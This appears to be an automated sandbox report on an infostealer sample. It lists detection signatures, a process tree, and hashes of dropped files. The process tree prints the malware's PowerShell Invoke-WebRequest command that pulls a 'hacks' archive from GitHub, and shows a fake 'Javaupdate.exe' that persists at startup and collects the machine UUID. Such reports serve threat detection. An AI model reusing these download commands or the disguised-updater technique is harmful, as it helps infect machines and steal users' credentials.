Analysis

  • max time kernel
    149s
  • max time network
    116s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/07/2026, 04:33

General

  • Target
    2026-07-11_603354780238be02a2f1b3883928d513_cryptbot_icedid_luca-stealer_njrat_stealc.exe
  • Size 42.0MB
  • Sample260711-e6154ady9t
  • SHA256 380701ac9875be869a681a44d137102a0c9d20f357c9aedd72c3d9d2781284f2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 54 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 44 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-11_603354780238be02a2f1b3883928d513_cryptbot_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-11_603354780238be02a2f1b3883928d513_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4932
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/sutemandrill/sparxhacks/archive/refs/heads/main.zip' -OutFile 'sparxhacks-main.zip'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3316
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Javaupdate.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Javaupdate.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:396
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Javaupdate.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Javaupdate.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2060
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5340
          • C:\Windows\System32\wbem\WMIC.exe
            C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2636
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          4⤵
            PID:2420

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Javaupdate.exe

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Javaupdate.exe
          • Size 42.0MB
          • SHA256 0b28079e95431e6ea0239094a3c7b15177f8bbd4b2078b60bb712e07df8c2c38
          • MD5 SHA1 SHA512 SSDEEP TLSH

          install.bat

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.bat
          • Size 159B
          • SHA256 22b6e8a7933fb8e3f30898146efe99724de638e4ef8a4d84458482102f3368a8
          • MD5 SHA1 SHA512 TLSH

          81d243bd2c585b0f4821__mypyc.cp313-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\81d243bd2c585b0f4821__mypyc.cp313-win_amd64.pyd
          • Size 194KB
          • SHA256 b5e9233a4a54059301daa4e703b9de97b7dc6b9d1ab5778f58285e5fc214af5e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\VCRUNTIME140.dll
          • Size 117KB
          • SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140_1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\VCRUNTIME140_1.dll
          • Size 48KB
          • SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _asyncio.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_asyncio.pyd
          • Size 71KB
          • SHA256 423007b8c7d63b4cb5f23665a761dd5de1c7e15a65c8013391de0d18c89ce417
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_bz2.pyd
          • Size 84KB
          • SHA256 1bf985b54f529a3cbb3e52532791cc4d4c64009142d37b54eb3521adec203d5c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _cffi_backend.cp313-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_cffi_backend.cp313-win_amd64.pyd
          • Size 176KB
          • SHA256 d5b09da2e726b4e90cf0edad5d2a0ec52f369dfd060e14d3807a32b2205031fa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_ctypes.pyd
          • Size 131KB
          • SHA256 96b07339d52c74f2a1dd043df5eb931e4072eed90a3a8715ffec751d818e4117
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_hashlib.pyd
          • Size 67KB
          • SHA256 50f3ce7a2281fd32f378f3ba5067bdd13e18ee95877db5199c6a0babdc9c516a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_lzma.pyd
          • Size 155KB
          • SHA256 51815b6474d4216c6a2aeaffdae5d2ff4acb7a0236254f2cfe43247022f3d781
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_queue.pyd
          • Size 34KB
          • SHA256 b5b5368026c33ade7651fb4cf4c6c1ca7eecc9c8cdad0af007da8a3ac0e067f7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_socket.pyd
          • Size 84KB
          • SHA256 8676f3cebd9d01c7ad51a29b3f7ff429c0a8f6bc564cab21eb6cdaa2e26fd259
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_ssl.pyd
          • Size 177KB
          • SHA256 b8118580b461801df12ec12d3d666aa0ebc2b3750bcf92b90b92789b152bf856
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _uuid.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_uuid.pyd
          • Size 27KB
          • SHA256 0116497261edadfe42ba7daf367c8a9ea27a1db210c8384943c890f532e3ce72
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _wmi.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\_wmi.pyd
          • Size 38KB
          • SHA256 9a7255064ea143895b28efea6d78e9e518bac290900aec52a6a0435c36a172fb
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\base_library.zip
          • Size 1.3MB
          • SHA256 b9c3c4b67b76afc3c3ecfcf3da5c8c103ff44160596a4e6219fda43b09dc7ecf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cacert.pem

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\certifi\cacert.pem
          • Size 266KB
          • SHA256 fc9165a12403263e7ebfbdad7be7a3eac0fa5d325d3c70465f28d3690072ca28
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cd.cp313-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\charset_normalizer\cd.cp313-win_amd64.pyd
          • Size 10KB
          • SHA256 9600015558d9b65ddcc950d587bc02ef6dadb6f6a0f31f2b1dac150fecf7e09f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          md.cp313-win_amd64.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\charset_normalizer\md.cp313-win_amd64.pyd
          • Size 10KB
          • SHA256 a766c3b2f45520d1fa295b5c20cb827593769fa41e550926c3ddbec8f9d8f8f7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _rust.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\cryptography\hazmat\bindings\_rust.pyd
          • Size 9.4MB
          • SHA256 813b101f70efb79c388239ce82ac891e195a1e19eeaeb43c32d9bf425e7b51b8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\libcrypto-3.dll
          • Size 5.0MB
          • SHA256 eaf6d613b95b61a39558d84c50e72630a66c99914292df88e7b54ebd60c5bd34
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\libffi-8.dll
          • Size 38KB
          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\libssl-3.dll
          • Size 776KB
          • SHA256 cf1a5fdcefa3daf69041f31f98ece1d7911ca4fcb8e9f1043b4d0f459ae4c936
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _psutil_windows.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\psutil\_psutil_windows.pyd
          • Size 69KB
          • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python3.DLL

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\python3.DLL
          • Size 70KB
          • SHA256 cbc4876275178244905ee45a9ee6ec9fa4bfb9aad6209a03b756d38a186f80d1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python313.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\python313.dll
          • Size 5.8MB
          • SHA256 6964e590037c41d631fd1215f05af154f7fa68105993c6f573a20689b473f1ac
          • MD5 SHA1 SHA512 SSDEEP TLSH

          pywintypes313.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\pywin32_system32\pywintypes313.dll
          • Size 132KB
          • SHA256 9bb6dece38380abc747dce9ba8b0834a2bec469bc942dbcc8658e30ebdfb59a4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\select.pyd
          • Size 32KB
          • SHA256 ddf1221851814943a82ed8a986d228463404da2ada969661bdd69223f14fc050
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Lorem ipsum.txt

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
          • Size 1KB
          • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
          • MD5 SHA1 SHA512 TLSH

          Conakry

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Africa\Conakry
          • Size 130B
          • SHA256 f3e7fcaa0e9840ff4169d3567d8fb5926644848f4963d7acf92320843c5d486e
          • MD5 SHA1 SHA512 TLSH

          Djibouti

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Africa\Djibouti
          • Size 191B
          • SHA256 0783854f52c33ada6b6d2a5d867662f0ae8e15238d2fce7b9ada4f4d319eb466
          • MD5 SHA1 SHA512 TLSH

          Kigali

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Africa\Kigali
          • Size 131B
          • SHA256 910c97c091cd34ae7427c83226234ce7b4f2f425c5822d6669c24be62010a792
          • MD5 SHA1 SHA512 TLSH

          Lagos

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Africa\Lagos
          • Size 180B
          • SHA256 e5ef1288571cc56c5276ca966e1c8a675c6747726d758ecafe7effce6eca7be4
          • MD5 SHA1 SHA512 TLSH

          Curacao

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\America\Curacao
          • Size 177B
          • SHA256 abbe8628dd5487c889db816ce3a5077bbb47f6bafafeb9411d92d6ef2f70ce8d
          • MD5 SHA1 SHA512 TLSH

          Toronto

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\America\Toronto
          • Size 1KB
          • SHA256 815ab4db7a1b1292867d2f924b718e1bba32455ce9f92205db2feb65029c6761
          • MD5 SHA1 SHA512 TLSH

          EST

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\EST
          • Size 149B
          • SHA256 a78d73067ba3cbd94f8a23dfdd6aa8b68cb33b18484bc17b4e20ea1aec2f0a81
          • MD5 SHA1 SHA512 TLSH

          Greenwich

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Etc\Greenwich
          • Size 111B
          • SHA256 dc4a07571b10884e4f4f3450c9d1a1cbf4c03ef53d06ed2e4ea152d9eba5d5d7
          • MD5 SHA1 SHA512

          London

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Europe\London
          • Size 1KB
          • SHA256 676541f0b8ad457c744c093f807589adcad909e3fd03f901787d08786eedbd33
          • MD5 SHA1 SHA512 TLSH

          Oslo

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Europe\Oslo
          • Size 705B
          • SHA256 a7fd9932d785d4d690900b834c3563c1810c1cf2e01711bcc0926af6c0767cb7
          • MD5 SHA1 SHA512 TLSH

          Skopje

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Europe\Skopje
          • Size 478B
          • SHA256 a8c964f3eaa7a209d9a650fb16c68c003e9a5fc62ffbbb10fa849d54fb3662d6
          • MD5 SHA1 SHA512 TLSH

          MET

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\MET
          • Size 1KB
          • SHA256 b10f9542a8509f0a63ebca78e3d80432dd86b8ea296400280febd9cfa76e8288
          • MD5 SHA1 SHA512 TLSH

          PRC

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\PRC
          • Size 393B
          • SHA256 bf8b7ed82fe6e63e6d98f8cea934eeac901cd16aba85eb5755ce3f8b4289ea8a
          • MD5 SHA1 SHA512 TLSH

          Wallis

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Pacific\Wallis
          • Size 134B
          • SHA256 09035620bd831697a3e9072f82de34cfca5e912d50c8da547739aa2f28fb6d8e
          • MD5 SHA1 SHA512 TLSH

          Yap

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\Pacific\Yap
          • Size 154B
          • SHA256 683001055b6ef9dc9d88734e0eddd1782f1c3643b7c13a75e9cf8e9052006e19
          • MD5 SHA1 SHA512 TLSH

          UCT

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\UCT
          • Size 111B
          • SHA256 fddce1e648a1732ac29afd9a16151b2973cdf082e7ec0c690f7e42be6b598b93
          • MD5 SHA1 SHA512

          Mountain

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\tzdata\zoneinfo\US\Mountain
          • Size 1KB
          • SHA256 9bb703920eca4b6119e81a105583a4f6ca220651f13b418479ab7cd56c413f3e
          • MD5 SHA1 SHA512 TLSH

          ucrtbase.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\ucrtbase.dll
          • Size 1.1MB
          • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\unicodedata.pyd
          • Size 695KB
          • SHA256 b965a80346ee95dbec0b147faab329f3276ba24fceb8df5df171367649f116f3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          win32api.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI3962\win32\win32api.pyd
          • Size 132KB
          • SHA256 b80722e54741563e72e264ca33e1900ee49c927c475e54ef8f94c3eac9032465
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3316-22-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-19-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-26-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-24-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-23-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-28-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-29-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-21-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-20-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-27-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-18-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-32-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-17-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-16-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-15-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-14-0x000002476B3D0000-0x000002476B3F2000-memory.dmp

          memory/3316-11-0x00007FFCC5CA0000-0x00007FFCC6644000-memory.dmp

          memory/3316-10-0x00007FFCC5E2F000-0x00007FFCC5E30000-memory.dmp